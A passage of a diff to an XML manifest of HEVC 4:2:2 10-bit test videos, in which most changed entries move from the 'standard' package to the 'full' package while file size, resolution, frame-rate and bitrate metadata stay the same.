+    <value>mime=video/hevc,size=16096,width=176,height=144,frame-rate=50,profile=,level=,bitrate=184720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/level/crowd_1920x1080p50f32_4000kbps_level_4.1.mp4">
-    <value>mime=video/hevc,size=302656,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3766600,package=standard</value>
+    <value>mime=video/hevc,size=302656,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3766600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/level/crowd_1920x1088p50f32_10000kbps_level_5.0.mp4">
     <value>mime=video/hevc,size=727750,width=1920,height=1088,frame-rate=50,profile=,level=,bitrate=9080272,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/level/crowd_352x288p50f32_300kbps_level_2.1.mp4">
-    <value>mime=video/hevc,size=24647,width=352,height=288,frame-rate=50,profile=,level=,bitrate=291496,package=standard</value>
+    <value>mime=video/hevc,size=24647,width=352,height=288,frame-rate=50,profile=,level=,bitrate=291496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/level/crowd_3840x2160p50f32_12000kbps_level_5.1.mp4">
     <value>mime=video/hevc,size=897748,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=11205544,package=full</value>
@@ -13845,37 +13845,37 @@
     <value>mime=video/hevc,size=1798480,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=22464696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/level/crowd_640x480p50f32_500kbps_level_3.0.mp4">
-    <value>mime=video/hevc,size=43772,width=640,height=480,frame-rate=50,profile=,level=,bitrate=530568,package=standard</value>
+    <value>mime=video/hevc,size=43772,width=640,height=480,frame-rate=50,profile=,level=,bitrate=530568,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/level/crowd_64x64p50f32_200kbps_level_1.0.mp4">
-    <value>mime=video/hevc,size=10638,width=64,height=64,frame-rate=50,profile=,level=,bitrate=117200,package=standard</value>
+    <value>mime=video/hevc,size=10638,width=64,height=64,frame-rate=50,profile=,level=,bitrate=117200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/level/crowd_64x64p50f32_200kbps_level_2.0.mp4">
-    <value>mime=video/hevc,size=14823,width=64,height=64,frame-rate=50,profile=,level=,bitrate=169512,package=standard</value>
+    <value>mime=video/hevc,size=14823,width=64,height=64,frame-rate=50,profile=,level=,bitrate=169512,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/level/crowd_720x480p50f32_600kbps_level_3.1.mp4">
-    <value>mime=video/hevc,size=50684,width=720,height=480,frame-rate=50,profile=,level=,bitrate=616968,package=standard</value>
+    <value>mime=video/hevc,size=50684,width=720,height=480,frame-rate=50,profile=,level=,bitrate=616968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/level/crowd_720x576p50f32_600kbps_level_3.1.mp4">
-    <value>mime=video/hevc,size=53205,width=720,height=576,frame-rate=50,profile=,level=,bitrate=648472,package=standard</value>
+    <value>mime=video/hevc,size=53205,width=720,height=576,frame-rate=50,profile=,level=,bitrate=648472,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=86150,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1060312,package=standard</value>
+    <value>mime=video/hevc,size=86150,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1060312,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=849731,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=10605072,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=91985,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1133248,package=standard</value>
+    <value>mime=video/hevc,size=91985,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1133248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1714234,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=21411360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=369313,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4599848,package=standard</value>
+    <value>mime=video/hevc,size=369313,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4599848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=364596,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4540880,package=standard</value>
+    <value>mime=video/hevc,size=364596,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4540880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_qpg16.mp4">
     <value>mime=video/hevc,size=390159,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4860424,package=full</value>
@@ -13887,7 +13887,7 @@
     <value>mime=video/hevc,size=399216,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4973632,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=85575,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1053120,package=standard</value>
+    <value>mime=video/hevc,size=85575,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1053120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_5mbps.mp4">
     <value>mime=video/hevc,size=415906,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5182256,package=full</value>
@@ -13908,7 +13908,7 @@
     <value>mime=video/hevc,size=377627,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4703768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_b_adapt_0.mp4">
-    <value>mime=video/hevc,size=348690,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4342656,package=standard</value>
+    <value>mime=video/hevc,size=348690,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4342656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_b_adapt_1.mp4">
     <value>mime=video/hevc,size=424363,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5287968,package=full</value>
@@ -13944,22 +13944,22 @@
     <value>mime=video/hevc,size=14907708,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=186329784,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=28754,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=342856,package=standard</value>
+    <value>mime=video/hevc,size=28754,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=342856,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ctb16.mp4">
-    <value>mime=video/hevc,size=374605,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4666024,package=standard</value>
+    <value>mime=video/hevc,size=374605,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4666024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ctb32.mp4">
-    <value>mime=video/hevc,size=372759,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4642936,package=standard</value>
+    <value>mime=video/hevc,size=372759,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4642936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_fastdecode.mp4">
     <value>mime=video/hevc,size=377650,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4704056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_faster.mp4">
-    <value>mime=video/hevc,size=332320,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4138032,package=standard</value>
+    <value>mime=video/hevc,size=332320,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4138032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_fast.mp4">
-    <value>mime=video/hevc,size=340901,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4245296,package=standard</value>
+    <value>mime=video/hevc,size=340901,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4245296,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_grain.mp4">
     <value>mime=video/hevc,size=590828,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7368800,package=full</value>
@@ -14004,7 +14004,7 @@
     <value>mime=video/hevc,size=378651,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4716568,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_maxtu4.mp4">
-    <value>mime=video/hevc,size=357251,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4449080,package=standard</value>
+    <value>mime=video/hevc,size=357251,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4449080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_maxtu8.mp4">
     <value>mime=video/hevc,size=377893,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4707096,package=full</value>
@@ -14016,13 +14016,13 @@
     <value>mime=video/hevc,size=384591,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4790824,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_merge3.mp4">
-    <value>mime=video/hevc,size=375846,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4681512,package=standard</value>
+    <value>mime=video/hevc,size=375846,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4681512,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_merge4.mp4">
-    <value>mime=video/hevc,size=373203,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4648472,package=standard</value>
+    <value>mime=video/hevc,size=373203,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4648472,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_merge5.mp4">
-    <value>mime=video/hevc,size=374448,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4664032,package=standard</value>
+    <value>mime=video/hevc,size=374448,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4664032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_mincu16.mp4">
     <value>mime=video/hevc,size=396336,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4937632,package=full</value>
@@ -14070,28 +14070,28 @@
     <value>mime=video/hevc,size=1231566,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=15378024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp39cbm12cr12.mp4">
-    <value>mime=video/hevc,size=364103,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4534712,package=standard</value>
+    <value>mime=video/hevc,size=364103,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4534712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp4.mp4">
     <value>mime=video/hevc,size=22448601,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=280590960,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=29511,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=352336,package=standard</value>
+    <value>mime=video/hevc,size=29511,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=352336,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51cb12cr12.mp4">
-    <value>mime=video/hevc,size=23789,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=280784,package=standard</value>
+    <value>mime=video/hevc,size=23789,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=280784,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51cb12crm12.mp4">
-    <value>mime=video/hevc,size=25782,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=305696,package=standard</value>
+    <value>mime=video/hevc,size=25782,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=305696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51cbm12cr12.mp4">
-    <value>mime=video/hevc,size=28123,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=334960,package=standard</value>
+    <value>mime=video/hevc,size=28123,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=334960,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=29644,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=353968,package=standard</value>
+    <value>mime=video/hevc,size=29644,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=353968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=23785,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=280760,package=standard</value>
+    <value>mime=video/hevc,size=23785,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=280760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_rect0.mp4">
     <value>mime=video/hevc,size=377630,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4703808,package=full</value>
@@ -14169,7 +14169,7 @@
     <value>mime=video/hevc,size=521670,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6504320,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_veryfast.mp4">
-    <value>mime=video/hevc,size=333610,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4154160,package=standard</value>
+    <value>mime=video/hevc,size=333610,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4154160,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_veryslow.mp4">
     <value>mime=video/hevc,size=388219,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4836144,package=full</value>
@@ -14199,28 +14199,28 @@
     <value>mime=video/hevc,size=378626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4716256,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_wpp1.mp4">
-    <value>mime=video/hevc,size=375761,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4680448,package=standard</value>
+    <value>mime=video/hevc,size=375761,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4680448,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_zerolatency.mp4">
     <value>mime=video/hevc,size=442656,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5520496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=165585,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=2053232,package=standard</value>
+    <value>mime=video/hevc,size=165585,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=2053232,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=728485,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9089480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=165229,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=2048784,package=standard</value>
+    <value>mime=video/hevc,size=165229,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=2048784,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1479163,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=18472960,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=327740,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4080168,package=standard</value>
+    <value>mime=video/hevc,size=327740,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4080168,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=327848,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4081520,package=standard</value>
+    <value>mime=video/hevc,size=327848,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4081520,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4mbps_qpg16.mp4">
     <value>mime=video/hevc,size=745258,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9299144,package=full</value>
@@ -14232,10 +14232,10 @@
     <value>mime=video/hevc,size=769989,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9608280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=165614,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=2053600,package=standard</value>
+    <value>mime=video/hevc,size=165614,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=2053600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_5mbps.mp4">
-    <value>mime=video/hevc,size=369909,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4607280,package=standard</value>
+    <value>mime=video/hevc,size=369909,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4607280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_allidr.mp4">
     <value>mime=video/hevc,size=1707390,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=21329920,package=full</value>
@@ -14289,7 +14289,7 @@
     <value>mime=video/hevc,size=37253757,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=465655384,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=63305,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=774736,package=standard</value>
+    <value>mime=video/hevc,size=63305,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=774736,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_ctb16.mp4">
     <value>mime=video/hevc,size=724295,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9037136,package=full</value>
@@ -14421,22 +14421,22 @@
     <value>mime=video/hevc,size=53402881,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=667519448,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=63676,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=779384,package=standard</value>
+    <value>mime=video/hevc,size=63676,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=779384,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51cb12cr12.mp4">
-    <value>mime=video/hevc,size=51302,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=624680,package=standard</value>
+    <value>mime=video/hevc,size=51302,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=624680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51cb12crm12.mp4">
-    <value>mime=video/hevc,size=56203,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=685944,package=standard</value>
+    <value>mime=video/hevc,size=56203,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=685944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51cbm12cr12.mp4">
-    <value>mime=video/hevc,size=62093,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=759568,package=standard</value>
+    <value>mime=video/hevc,size=62093,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=759568,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=65195,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=798344,package=standard</value>
+    <value>mime=video/hevc,size=65195,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=798344,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=51298,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=624656,package=standard</value>
+    <value>mime=video/hevc,size=51298,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=624656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_rect0.mp4">
     <value>mime=video/hevc,size=724346,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9037744,package=full</value>
@@ -14649,7 +14649,7 @@
     <value>mime=video/hevc,size=193005358,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=230871,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2869608,package=standard</value>
+    <value>mime=video/hevc,size=230871,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2869608,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_ctb32.mp4">
     <value>mime=video/hevc,size=1887585,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=23578560,package=full</value>
@@ -14688,7 +14688,7 @@
     <value>mime=video/hevc,size=441295070,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=1221204816,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_lpf_ppsofst1.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11290480,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11290480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_max_log2poc_10.mp4">
     <value>mime=video/hevc,size=1919296,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=23974920,package=full</value>
@@ -14748,49 +14748,49 @@
     <value>mime=video/hevc,size=1919288,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=23974824,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_pcm1bitdepth0.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11287872,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11287872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_pcm1bitdepth1.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11287872,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11287872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_pcm1filterdis0.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11287872,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11287872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_pcm1filterdis1.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11287872,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11287872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_pcm1maxsize3.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11289424,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11289424,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_pcm1maxsize4.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11288800,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11288800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_pcm1maxsize5.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11287872,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11287872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_pcm1minsize3.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11287872,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11287872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_pcm1minsize4.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11286600,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11286600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_pcm1minsize5.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11285088,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11285088,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_placebo.mp4">
     <value>mime=video/hevc,size=2040906,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=25495024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_prllmerge2.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11290480,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11290480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_prllmerge3.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11291040,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11291040,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_prllmerge4.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11304344,package=standard</value>
